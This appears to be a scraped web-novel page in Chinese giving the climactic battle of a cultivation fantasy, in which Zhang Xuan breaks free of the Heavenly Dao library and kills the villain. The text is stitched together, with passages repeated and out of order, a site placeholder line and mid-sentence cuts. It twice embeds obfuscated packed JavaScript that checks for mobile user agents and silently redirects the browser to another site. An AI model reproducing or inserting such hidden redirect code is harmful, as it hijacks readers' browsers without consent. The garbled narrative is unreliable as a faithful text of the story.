脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第177章 你怎么不问问我 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139935|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 